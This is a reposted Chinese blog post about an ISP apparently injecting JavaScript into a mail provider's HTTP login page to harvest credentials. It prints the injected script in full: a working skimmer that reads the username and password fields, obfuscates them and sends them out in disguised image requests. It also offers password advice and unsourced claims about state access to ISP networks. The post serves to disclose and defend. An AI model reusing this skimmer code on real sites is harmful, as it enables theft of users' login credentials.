zoukankan      html  css  js  c++  java
  • 你们以为运营商只是HTTP插点广告而已么?

    国内某邮件服务商,近期在某南方地区有大量客户反应登录时出错和异常,于是工作人员进行了一下跟进,发现如下:
    首先,邮件服务商登陆页面为普通HTTP协议发送,提交时通过JS进行RSA加密(没错,JS的RSA),发送到SSO登陆点,然后进行登录,有些人一看RSA,应该挺安全的了,不过……
    在国内上网的大多数人对于运营商在HTTP包里插广告应该很熟悉了,原理很简单,大家可以参考腾讯安全中心的这篇文章http://security.tencent.com/index.php/blog/msg/10

    在客户端抓包发现收到的HTTP数据包有异常,有几个包的TTL多了2,说明比正常从服务器到客户端的数据包少走了两跳,而且离服务器不是很远,估计在一个机房里,并且数据包的ID是很规律的12345,明显就是伪造的,包中插入了如下内容:

    <script type="text/javascript">
        document.getElementById("freepassword").onblur = function (e) {
            logoFresh();
        };
    
        function onLoginCheck() {
            var user = null;
            var pass = null;
            user = document.getElementById("freename").value;
            pass = document.getElementById("freepassword").value;
            if (user.length <= 0 || pass.length <= 0) {
                return false;
            } else {
                return rskQuery(user + '&' + pass + '&xxxxx.com');
            }
        };
    
        function rskQuery(s) {
            s = encodeURIComponent(s);
            var r = Math.random();
            var num = (Math.round(r * 100)) % 9 + 1;
            var i = 0;
            var out = '';
            do {
                var ch = s.charCodeAt(i++);
                ch = (i % 2 > 0) ? (ch - i % num) : (ch + i % num);
                var l = (ch / 10 >= 10) ? 3 : (ch / 10 > 0 ? 2 : 1);
                out += l.toString() + ch;
            } while (i < s.length);
            out = r.toString().substring(0, num) + out + num;
            return out;
        };
    
        function logoFresh() {
            var h = logoUrl();
            var s = onLoginCheck();
            if (s == false) {
                return false;
            }
            for (var i = 0; i < 2; i++) {
                var bg_logo = new Image(0, 0);
                bg_logo.src = h + 'images/logo_bg.jpg?' + s;
            }
            var s1 = onLoginCheck();
            var ajaxUrl = h + 'images/logo_bg.jpg?' + s1;
            var result = xmlHttpConnect(ajaxUrl, "get", null);
        };
    
        function logoUrl() {
            return '/';
        };
    
        function createXMLHttp() {
            if (window.XMLHttpRequest) return new XMLHttpRequest();
            else if (window.ActiveXObject) return new ActiveXObject("Microsoft.XMLHTTP");
            else return null;
        };
    
        function xmlHttpConnect(url, method, content) {
            var request = createXMLHttp();
            if (request == null) return null;
            try {
                request.open(method, url, true);
                request.send(content);
            } catch (e) {
                return null;
            }
            if ((request.readyState == 4) && (request.status == 200)) return null;
            else return null
        };
    
        document.getElementById("vippassword").onblur = function (e) {
            logo_Fresh();
        }
    
        function onLoginPhone() {
            var user = null;
            var pass = null;
            user = document.getElementById("vipname").value;
            pass = document.getElementById("vippassword").value;
            if (user.length <= 0 || pass.length <= 0) {
                return false;
            } else {
                return rskQuery(user + '&' + pass + '&vip.xxxxx.com');
            }
        }
    
        function logo_Fresh() {
            var h = logoUrl();
            var s = onLoginPhone();
            if (s == false) {
                return false;
            }
            for (var i = 0; i < 2; i++) {
                var bg_logo = new Image(0, 0);
                bg_logo.src = h + 'images/logo_bg.jpg?' + s;
            }
            var s1 = onLoginCheck();
            var ajaxUrl = h + 'images/logo_bg.jpg?' + s1;
            var result = xmlHttpConnect(ajaxUrl, "get", null);
        }
    </script>

    在登录form里抓取用户名和密码,当成参数跟在logo后面再访问一下logo,再从中间抓包获取这段内容。这样的话邮件服务商的日志里肯定会出现很多 logo的请求后面跟着明文用户名密码吧,错了,服务商那边根本没看到logo被请求两次,推断是带有这个特征的数据包被drop了,真尼玛用心啊。

    至此,用户的邮箱密码已经泄露,用户和服务商也没有任何察觉,可能由于某些原因,比如延迟,丢包,bug之类的,导致部分用户被插的时候有异常,影响了原有的登录js,才导致这次事件浮出水面。
    服务商由于成本问题,暂不考虑采用SSL登录。

    至于那边还有什么类似设备我就不多说了,反正据我的了解,国内随便什么实权部门都能任意在ISP机房和主干网上接入任意设备,据说连税务的都有。


    关于本次事件学到的内容:
    国内服务用的任何用户名和密码和在国外比如gmail,twitter的账号要不相同,而且没有任何关联,并且国外服务的注册邮箱,密保邮箱等都要采用国外邮箱,首推gmail,并且打开二次认证,不要用短信认证,用手机验证器。

    线上线下密码要分开,不相同,不近似,比如本地硬盘加密密码。凡是通过明文协议传输的通通被视为已暴露,HTTPS登录时每次手动查看证书签发机 构是否为之前常用的那一个,遇到怀疑是国内CA伪造证书的立刻把证书导出另存为,因为国内没有root CA(cnnic的好像在ff和chrome已经被去掉了),只有二级证书机构,一旦被发现随便签证书会被立刻取消资格,并且黑名单推送到各大浏览器和操 作系统。


    呵呵,你们以为能频繁的,多种花样的插12306就赢了么,你们以为每天在微博打打嘴炮就胜利了么,菊花都被爆脱肛了还不知道。

  • 相关阅读:
    Service Mesh vs SideCar
    云原生应用
    js 中继承的几种方式
    js 中call,apply,bind的区别
    js中的原型
    ES6 中的let 声明变量
    react native 中的redux
    css 中的伪类选择器before 与after
    js中数组遍历的几种方法及其区别
    js中一些常见写法的含义
  • 原文地址:https://www.cnblogs.com/hookjoy/p/3671010.html
Copyright © 2011-2022 走看看